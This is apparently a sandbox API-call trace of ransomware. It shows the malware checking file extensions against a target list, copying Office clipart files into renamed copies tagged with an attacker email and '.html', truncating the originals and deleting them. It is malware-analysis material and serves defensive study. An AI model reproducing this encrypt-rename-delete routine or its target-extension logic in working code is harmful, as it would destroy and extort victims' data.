	[0186.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0186.960] lstrlenW (lpString=".1cd") returned 4
	[0186.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0186.960] lstrlenW (lpString=".jpg") returned 4
	[0186.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.961] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.961] lstrlenW (lpString="J0099182.WMF") returned 12
	[0186.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0186.961] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3840) returned 1
	[0186.961] CloseHandle (hObject=0x5b4) returned 1
	[0186.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220
	[0186.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0186.962] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.962] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0186.963] GetLastError () returned 0x0
	[0186.963] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xf00, lpOverlapped=0x0) returned 1
	[0186.979] WriteFile (in: hFile=0x514, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xf10, lpOverlapped=0x0) returned 1
	[0186.980] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.980] WriteFile (in: hFile=0x514, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.980] SetEndOfFile (hFile=0x514) returned 1
	[0186.980] CloseHandle (hObject=0x514) returned 1
	[0186.980] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.980] SetEndOfFile (hFile=0x5b4) returned 1
	[0186.983] CloseHandle (hObject=0x5b4) returned 1
	[0186.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1
	[0186.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0186.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0186.984] lstrlenW (lpString=".doc") returned 4
	[0186.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.984] lstrlenW (lpString=".docx") returned 5
	[0186.984] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0186.984] lstrlenW (lpString=".pdf") returned 4
	[0186.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.985] lstrlenW (lpString=".xls") returned 4
	[0186.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.985] lstrlenW (lpString=".xlsx") returned 5
	[0186.985] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0186.985] lstrlenW (lpString=".ppt") returned 4
	[0186.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0186.985] lstrlenW (lpString=".zip") returned 4
	[0186.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.985] lstrlenW (lpString=".rar") returned 4
	[0186.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.985] lstrlenW (lpString=".bz2") returned 4
	[0186.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.985] lstrlenW (lpString=".7z") returned 3
	[0186.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0186.985] lstrlenW (lpString=".dbf") returned 4
	[0186.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0186.985] lstrlenW (lpString=".1cd") returned 4
	[0186.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0186.985] lstrlenW (lpString=".jpg") returned 4
	[0186.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0186.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0186.985] lstrlenW (lpString=".doc") returned 4
	[0186.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.985] lstrlenW (lpString=".docx") returned 5
	[0186.986] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0186.986] lstrlenW (lpString=".pdf") returned 4
	[0186.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.986] lstrlenW (lpString=".xls") returned 4
	[0186.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.986] lstrlenW (lpString=".xlsx") returned 5
	[0186.986] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0186.986] lstrlenW (lpString=".ppt") returned 4
	[0186.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0186.986] lstrlenW (lpString=".zip") returned 4
	[0186.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.986] lstrlenW (lpString=".rar") returned 4
	[0186.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.986] lstrlenW (lpString=".bz2") returned 4
	[0186.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.986] lstrlenW (lpString=".7z") returned 3
	[0186.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0186.986] lstrlenW (lpString=".dbf") returned 4
	[0186.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0186.986] lstrlenW (lpString=".1cd") returned 4
	[0186.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0186.986] lstrlenW (lpString=".jpg") returned 4
	[0186.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.987] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.987] lstrlenW (lpString="J0099183.WMF") returned 12
	[0186.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0186.988] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4946) returned 1
	[0186.988] CloseHandle (hObject=0x5b4) returned 1
	[0186.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220
	[0186.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0186.989] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.989] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0186.990] GetLastError () returned 0x0
	[0186.990] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1352, lpOverlapped=0x0) returned 1
	[0187.016] WriteFile (in: hFile=0x514, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1360, lpOverlapped=0x0) returned 1
	[0187.017] ReadFile (in: hFile=0x5b4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.017] WriteFile (in: hFile=0x514, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.017] SetEndOfFile (hFile=0x514) returned 1
	[0187.017] CloseHandle (hObject=0x514) returned 1
	[0187.018] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.018] SetEndOfFile (hFile=0x5b4) returned 1
	[0187.104] CloseHandle (hObject=0x5b4) returned 1
	[0187.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1
	[0187.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0187.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0187.414] lstrlenW (lpString=".doc") returned 4
	[0187.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.414] lstrlenW (lpString=".docx") returned 5
	[0187.414] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0187.414] lstrlenW (lpString=".pdf") returned 4
	[0187.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.414] lstrlenW (lpString=".xls") returned 4
	[0187.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.414] lstrlenW (lpString=".xlsx") returned 5
	[0187.414] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0187.414] lstrlenW (lpString=".ppt") returned 4
	[0187.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0187.415] lstrlenW (lpString=".zip") returned 4
	[0187.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.415] lstrlenW (lpString=".rar") returned 4
	[0187.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.415] lstrlenW (lpString=".bz2") returned 4
	[0187.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.415] lstrlenW (lpString=".7z") returned 3
	[0187.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0187.415] lstrlenW (lpString=".dbf") returned 4
	[0187.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0187.415] lstrlenW (lpString=".1cd") returned 4
	[0187.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0187.415] lstrlenW (lpString=".jpg") returned 4
	[0187.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0187.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0187.415] lstrlenW (lpString=".doc") returned 4
	[0187.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.415] lstrlenW (lpString=".docx") returned 5
	[0187.415] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0187.415] lstrlenW (lpString=".pdf") returned 4
	[0187.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.415] lstrlenW (lpString=".xls") returned 4
	[0187.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.415] lstrlenW (lpString=".xlsx") returned 5
	[0187.415] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0187.415] lstrlenW (lpString=".ppt") returned 4
	[0187.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0187.416] lstrlenW (lpString=".zip") returned 4
	[0187.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.416] lstrlenW (lpString=".rar") returned 4
	[0187.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.416] lstrlenW (lpString=".bz2") returned 4
	[0187.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.416] lstrlenW (lpString=".7z") returned 3
	[0187.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0187.416] lstrlenW (lpString=".dbf") returned 4
	[0187.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0187.416] lstrlenW (lpString=".1cd") returned 4
	[0187.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0187.417] lstrlenW (lpString=".jpg") returned 4
	[0187.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.417] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0187.417] lstrlenW (lpString="J0099187.JPG") returned 12
	[0187.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.450] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=24528) returned 1
	[0187.450] CloseHandle (hObject=0x4a8) returned 1
	[0187.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220
	[0187.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.457] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.457] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0187.463] GetLastError () returned 0x0
	[0187.463] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x5fd0, lpOverlapped=0x0) returned 1
	[0187.466] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x5fe0, lpOverlapped=0x0) returned 1
	[0187.468] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.468] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.468] SetEndOfFile (hFile=0x510) returned 1
	[0187.468] CloseHandle (hObject=0x510) returned 1
	[0187.468] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.468] SetEndOfFile (hFile=0x4a8) returned 1
	[0187.471] CloseHandle (hObject=0x4a8) returned 1
	[0187.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1
	[0187.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0187.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0187.473] lstrlenW (lpString=".doc") returned 4
	[0187.473] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.473] lstrlenW (lpString=".docx") returned 5
	[0187.473] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0187.473] lstrlenW (lpString=".pdf") returned 4
	[0187.473] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.473] lstrlenW (lpString=".xls") returned 4
	[0187.473] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.473] lstrlenW (lpString=".xlsx") returned 5
	[0187.473] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0187.473] lstrlenW (lpString=".ppt") returned 4
	[0187.473] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0187.473] lstrlenW (lpString=".zip") returned 4
	[0187.473] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.473] lstrlenW (lpString=".rar") returned 4
	[0187.473] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.473] lstrlenW (lpString=".bz2") returned 4
	[0187.474] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.474] lstrlenW (lpString=".7z") returned 3
	[0187.474] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0187.474] lstrlenW (lpString=".dbf") returned 4
	[0187.474] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0187.474] lstrlenW (lpString=".1cd") returned 4
	[0187.474] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0187.474] lstrlenW (lpString=".jpg") returned 4
	[0187.474] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0187.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0187.474] lstrlenW (lpString=".doc") returned 4
	[0187.474] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.474] lstrlenW (lpString=".docx") returned 5
	[0187.474] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0187.474] lstrlenW (lpString=".pdf") returned 4
	[0187.474] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.474] lstrlenW (lpString=".xls") returned 4
	[0187.474] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.474] lstrlenW (lpString=".xlsx") returned 5
	[0187.474] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0187.475] lstrlenW (lpString=".ppt") returned 4
	[0187.475] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0187.475] lstrlenW (lpString=".zip") returned 4
	[0187.475] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.475] lstrlenW (lpString=".rar") returned 4
	[0187.475] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.475] lstrlenW (lpString=".bz2") returned 4
	[0187.475] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.475] lstrlenW (lpString=".7z") returned 3
	[0187.475] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0187.475] lstrlenW (lpString=".dbf") returned 4
	[0187.475] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
